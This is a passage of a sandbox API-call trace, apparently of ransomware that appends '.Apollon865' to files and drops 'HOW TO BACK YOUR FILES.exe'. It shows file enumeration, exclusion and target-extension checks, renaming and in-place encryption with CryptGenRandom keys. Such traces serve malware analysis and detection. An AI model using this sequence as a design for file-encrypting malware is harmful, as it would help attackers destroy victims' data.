	[0053.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0053.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0053.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.515] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.515] CloseHandle (hObject=0x150) returned 1
	[0053.515] CloseHandle (hObject=0xc0) returned 1
	[0053.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.516] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2=".") returned 1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="..") returned 1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="windows") returned -1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="bootmgr") returned 1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="temp") returned -1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="pagefile.sys") returned -1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="boot") returned 1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="ids.txt") returned -1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="ntuser.dat") returned -1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="perflogs") returned -1
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2="MSBuild") returned -1
	[0053.516] lstrlenW (lpString="Form.zip") returned 8
	[0053.516] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip") returned 109
	[0053.516] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Form.zip" | out: lpString1="Form.zip") returned="Form.zip"
	[0053.516] lstrlenW (lpString="Form.zip") returned 8
	[0053.516] lstrlenW (lpString="Apollon865") returned 10
	[0053.516] lstrlenW (lpString=".dll") returned 4
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2=".dll") returned 1
	[0053.516] lstrlenW (lpString=".lnk") returned 4
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2=".lnk") returned 1
	[0053.516] lstrlenW (lpString=".ini") returned 4
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2=".ini") returned 1
	[0053.516] lstrlenW (lpString=".sys") returned 4
	[0053.516] lstrcmpiW (lpString1="Form.zip", lpString2=".sys") returned 1
	[0053.516] lstrlenW (lpString="Form.zip") returned 8
	[0053.516] lstrlenW (lpString="bak") returned 3
	[0053.516] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.516] lstrlenW (lpString="ba_") returned 3
	[0053.516] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.516] lstrlenW (lpString="dbb") returned 3
	[0053.516] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.517] lstrlenW (lpString="vmdk") returned 4
	[0053.517] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.517] lstrlenW (lpString="rar") returned 3
	[0053.517] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.517] lstrlenW (lpString="zip") returned 3
	[0053.517] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.517] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip.Apollon865") returned 116
	[0053.517] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.518] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1300) returned 1
	[0053.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.518] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.519] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.519] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.519] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x820, lpName=0x0) returned 0x150
	[0053.520] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x820) returned 0x100000
	[0053.522] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.523] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.523] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.523] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.523] CloseHandle (hObject=0x150) returned 1
	[0053.523] CloseHandle (hObject=0xc0) returned 1
	[0053.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.524] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aed590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37aed590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.524] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.524] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0xb090, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LoginForm.zip", cAlternateFileName="LOGINF~1.ZIP")) returned 1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2=".") returned 1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="..") returned 1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="windows") returned -1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="bootmgr") returned 1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="temp") returned -1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="pagefile.sys") returned -1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="boot") returned 1
	[0053.524] lstrcmpiW (lpString1="LoginForm.zip", lpString2="ids.txt") returned 1
	[0053.525] lstrcmpiW (lpString1="LoginForm.zip", lpString2="ntuser.dat") returned -1
	[0053.525] lstrcmpiW (lpString1="LoginForm.zip", lpString2="perflogs") returned -1
	[0053.525] lstrcmpiW (lpString1="LoginForm.zip", lpString2="MSBuild") returned -1
	[0053.525] lstrlenW (lpString="LoginForm.zip") returned 13
	[0053.525] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip") returned 105
	[0053.525] lstrcpyW (in: lpString1=0x2d3e612, lpString2="LoginForm.zip" | out: lpString1="LoginForm.zip") returned="LoginForm.zip"
	[0053.525] lstrlenW (lpString="LoginForm.zip") returned 13
	[0053.525] lstrlenW (lpString="Apollon865") returned 10
	[0053.525] lstrcmpiW (lpString1="inForm.zip", lpString2="Apollon865") returned 1
	[0053.525] lstrlenW (lpString=".dll") returned 4
	[0053.525] lstrcmpiW (lpString1="LoginForm.zip", lpString2=".dll") returned 1
	[0053.525] lstrlenW (lpString=".lnk") returned 4
	[0053.525] lstrcmpiW (lpString1="LoginForm.zip", lpString2=".lnk") returned 1
	[0053.526] lstrlenW (lpString=".ini") returned 4
	[0053.526] lstrcmpiW (lpString1="LoginForm.zip", lpString2=".ini") returned 1
	[0053.526] lstrlenW (lpString=".sys") returned 4
	[0053.526] lstrcmpiW (lpString1="LoginForm.zip", lpString2=".sys") returned 1
	[0053.526] lstrlenW (lpString="LoginForm.zip") returned 13
	[0053.526] lstrlenW (lpString="bak") returned 3
	[0053.526] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.526] lstrlenW (lpString="ba_") returned 3
	[0053.526] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.526] lstrlenW (lpString="dbb") returned 3
	[0053.526] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.526] lstrlenW (lpString="vmdk") returned 4
	[0053.526] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.526] lstrlenW (lpString="rar") returned 3
	[0053.526] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.526] lstrlenW (lpString="zip") returned 3
	[0053.526] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.526] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip.Apollon865") returned 121
	[0053.526] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.527] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=45200) returned 1
	[0053.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.528] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.529] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.529] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.529] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb390, lpName=0x0) returned 0x150
	[0053.530] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb390) returned 0x100000
	[0053.533] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.534] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.534] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.534] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0053.534] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0c30
	[0053.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.534] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0c30 | out: hHeap=0x580000) returned 1
	[0053.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0053.535] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.535] CloseHandle (hObject=0x150) returned 1
	[0053.535] CloseHandle (hObject=0xc0) returned 1
	[0053.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.536] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x36b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="MDIPAR~1.ZIP")) returned 1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".") returned 1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="..") returned 1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="windows") returned -1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="bootmgr") returned 1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="temp") returned -1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="pagefile.sys") returned -1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="boot") returned 1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="ids.txt") returned 1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="ntuser.dat") returned -1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="perflogs") returned -1
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2="MSBuild") returned -1
	[0053.536] lstrlenW (lpString="MDIParent.zip") returned 13
	[0053.536] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip") returned 110
	[0053.536] lstrcpyW (in: lpString1=0x2d3e612, lpString2="MDIParent.zip" | out: lpString1="MDIParent.zip") returned="MDIParent.zip"
	[0053.536] lstrlenW (lpString="MDIParent.zip") returned 13
	[0053.536] lstrlenW (lpString="Apollon865") returned 10
	[0053.536] lstrcmpiW (lpString1="Parent.zip", lpString2="Apollon865") returned 1
	[0053.536] lstrlenW (lpString=".dll") returned 4
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".dll") returned 1
	[0053.536] lstrlenW (lpString=".lnk") returned 4
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".lnk") returned 1
	[0053.536] lstrlenW (lpString=".ini") returned 4
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".ini") returned 1
	[0053.536] lstrlenW (lpString=".sys") returned 4
	[0053.536] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".sys") returned 1
	[0053.536] lstrlenW (lpString="MDIParent.zip") returned 13
	[0053.536] lstrlenW (lpString="bak") returned 3
	[0053.537] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.537] lstrlenW (lpString="ba_") returned 3
	[0053.537] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.537] lstrlenW (lpString="dbb") returned 3
	[0053.537] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.537] lstrlenW (lpString="vmdk") returned 4
	[0053.537] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.537] lstrlenW (lpString="rar") returned 3
	[0053.537] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.537] lstrlenW (lpString="zip") returned 3
	[0053.537] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.537] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip.Apollon865") returned 121
	[0053.537] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.537] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.538] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=14007) returned 1
	[0053.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.538] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.539] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.539] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.539] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39c0, lpName=0x0) returned 0x150
	[0053.540] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39c0) returned 0x100000
	[0053.543] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.543] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.543] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0053.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0053.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.544] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.544] CloseHandle (hObject=0x150) returned 1
	[0053.544] CloseHandle (hObject=0xc0) returned 1
	[0053.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.545] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11042530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Module.zip", cAlternateFileName="")) returned 1
